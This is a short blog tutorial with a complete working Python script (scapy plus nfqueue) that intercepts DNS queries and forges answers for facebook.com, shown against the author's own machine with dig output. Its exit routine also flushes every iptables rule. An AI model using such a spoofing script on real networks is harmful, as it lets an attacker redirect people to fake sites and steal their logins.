lost and found ( for me ? )

Python scapy, nfqueue-bindings-python

Here is how to fake DNS answers by using scapy, nfqueue-bindings.

Reference
http://danmcinerney.org/reliable-dns-spoofing-with-python-scapy-nfqueue/
http://thepacketgeek.com/scapy-p-06-sending-and-receiving-with-scapy/
http://blog.yancomm.net/2011/05/nfqueue-packet-mangling-with-python.html

# lsb_release –a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

install scapy, nfqueue-bindings via apt-get.
# apt-get install python-scapy
# apt-get install nfqueue-bindings-python
# apt-get install python-netfilter

Here is a sample script
Reference: http://danmcinerney.org/reliable-dns-spoofing-with-python-scapy-nfqueue/

This script fakes DNS answers if there is a string “facebook.com” in the DNS requests.
# cat –n fakeDNS.py
    1  #!/usr/bin/env python
    2
    3  import nfqueue
    4  from scapy.all import *
    5  from socket import AF_INET, AF_INET6
    6  import os
    7
    8  domain = 'facebook.com'
    9  localIP = '1.2.3.4'
   10  os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
   11
   12  #def callback(payload):
   13  def callback(i, payload):
   14      data = payload.get_data()
   15      pkt = IP(data)
   16      if not pkt.haslayer(DNSQR):
   17          payload.set_verdict(nfqueue.NF_ACCEPT)
   18      else:
   19          if domain in pkt[DNS].qd.qname:
   20              spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
   21                            UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
   22                            DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
   23                            an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))
   24              payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
   25              print '[+] Sent spoofed packet for %s' % domain
   26  def main():
   27      q = nfqueue.queue()
   28      q.open()
   29      q.bind(socket.AF_INET)
   30      q.set_callback(callback)
   31      q.create_queue(0)
   32      try:
   33          q.try_run() # Main loop
   34      except KeyboardInterrupt:
   35          q.unbind(socket.AF_INET)
   36          q.close()
   37          os.system('iptables -F')
   38          os.system('iptables -X')
   39          sys.exit('losing...')
   40  main()

run the script.
# python fakeDNS.py


open a terminal on the same machine and execute dig.
# dig @8.8.8.8 www.facebook.com

; <<>> DiG 9.9.5-3ubuntu0.1-Ubuntu <<>> @8.8.8.8 www.facebook.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54824
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.facebook.com.      IN      A

;; ANSWER SECTION:
www.facebook.com.    10 IN      A       1.2.3.4

If there is no string “facebook.com” in DNS queries, this script does nothing.
# dig @8.8.8.8 www.google.com +short
216.58.220.196

If you stop the script without “Ctrl-C” and then re-execute the script, you will see the following errors.
# python fakeDNS.py
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
 File "fakeDNS.py", line 40, in <module>
   main()
 File "fakeDNS.py", line 31, in main
   q.create_queue(0)
 File "/usr/lib/python2.7/dist-packages/nfqueue.py", line 96, in create_queue
   def create_queue(self, *args): return _nfqueue.queue_create_queue(self, *args)
RuntimeError: error during nfq_create_queue()

If you see this error, the python script might be still running, so kill that process and run the script again.

# kill -9 `ps aux | grep "fakeDNS.py" | grep -v grep | awk '{print $2}'`
[1]+  Killed                  python fakeDNS.py

# python fakeDNS.py

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.